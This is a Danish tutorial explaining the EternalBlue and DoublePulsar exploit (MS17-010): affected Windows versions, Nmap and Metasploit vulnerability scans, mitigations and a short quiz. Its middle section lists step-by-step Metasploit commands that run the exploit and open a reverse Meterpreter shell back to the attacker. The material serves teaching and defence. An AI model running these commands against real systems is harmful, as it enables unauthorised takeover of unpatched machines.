Teknisk Gennemgang: EternalBlue & DoublePulsar (MS17-010)

EternalBlue er et af de mest berygtede exploits i nyere tid. Det blev oprindeligt udviklet af NSA (National Security Agency) og lækket af hackergruppen Shadow Brokers i april 2017. Kort efter blev det brugt som motoren i de globale WannaCry- og NotPetya-angreb.

Hvad er EternalBlue?

Teknisk set udnytter EternalBlue en sårbarhed i Microsofts implementering af SMBv1 (Server Message Block) protokollen. Sårbarheden findes i måden, hvorpå Windows håndterer specielt udformede pakker, hvilket fører til et buffer overflow i hukommelsen (non-paged pool).

Dette giver en angriber mulighed for at køre vilkårlig kode med SYSTEM-rettigheder (Remote Code Execution - RCE) uden at have nogen form for login-oplysninger.

Hvad er DoublePulsar?

Mens EternalBlue er selve “nøglen”, der åbner døren, er DoublePulsar den backdoor (implant), der bliver installeret i hukommelsen efter indtrængen. DoublePulsar gør det muligt for angriberen at sende yderligere payloads (f.eks. en Meterpreter shell) til målet på en meget diskret måde, da den kører udelukkende i RAM og ikke efterlader filer på disken.

Hvilke mål er sårbare?

EternalBlue rammer primært ældre Windows-systemer, hvor SMBv1 er aktiveret, og hvor sikkerhedsopdateringen MS17-010 ikke er installeret.

Typiske sårbare systemer:

  • Windows XP (alle versioner)
  • Windows 7 (alle versioner)
  • Windows 8.1
  • Windows Server 2003 & 2008
  • Windows Server 2012

Selvom nyere systemer som Windows 10 oprindeligt var sårbare, er de fleste i dag patchede, men sårbarheden findes stadig ofte i legacy-miljøer og OT-netværk.

Scanning: Er målet sårbart?

Før man forsøger at exploite, skal man altid verificere sårbarheden. Dette kan gøres effektivt med Nmap eller Metasploit.

1. Nmap Scanning

Nmap har et dedikeret script til at tjekke for MS17-010:

nmap -p 445 --script smb-vuln-ms17-010 <target-ip>

Hvis outputtet viser State: VULNERABLE, er målet åbent for angreb.

2. Metasploit Scanner

I Metasploit kan du bruge check-modulet:

use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS <target-ip>
run

Anvendelse af Exploitet

I et kontrolleret miljø (f.eks. Kali Linux) er Metasploit den mest almindelige måde at anvende EternalBlue på.

Proces:

  1. Start Metasploit: msfconsole
  2. Vælg exploit: use exploit/windows/smb/ms17_010_eternalblue
  3. Sæt mål-IP: set RHOST <target-ip>
  4. Vælg payload (f.eks. en reverse shell): set payload windows/x64/meterpreter/reverse_tcp
  5. Sæt din egen IP: set LHOST <din-ip>
  6. Kør angrebet: exploit

Hvis det lykkes, får du en Meterpreter-session med fuld kontrol over systemet.

MITRE ATT&CK Referencer

Forsvar og Mitigering

Den bedste beskyttelse mod EternalBlue er simpel:

  1. Installer patches: Sørg for at MS17-010 er installeret på alle maskiner.
  2. Deaktiver SMBv1: Microsoft anbefaler kraftigt at deaktivere SMBv1 helt, da det er en forældet og usikker protokol.
  3. Netværkssegmentering: Begræns adgangen til port 445 via firewalls, så kun nødvendige maskiner kan kommunikere via SMB.

Denne artikel er til uddannelsesmæssige formål og bør kun anvendes på systemer, du har tilladelse til at teste.

Kilder

> Quiz: Test din viden

1. Hvilken protokol udnytter EternalBlue en buffer overflow i?

2. Hvad er DoublePulsar?

3. Hvad hedder sårbarhedsnummeret for EternalBlue?

4. Hvilke rettigheder giver EternalBlue angriberen på det kompromitterede system?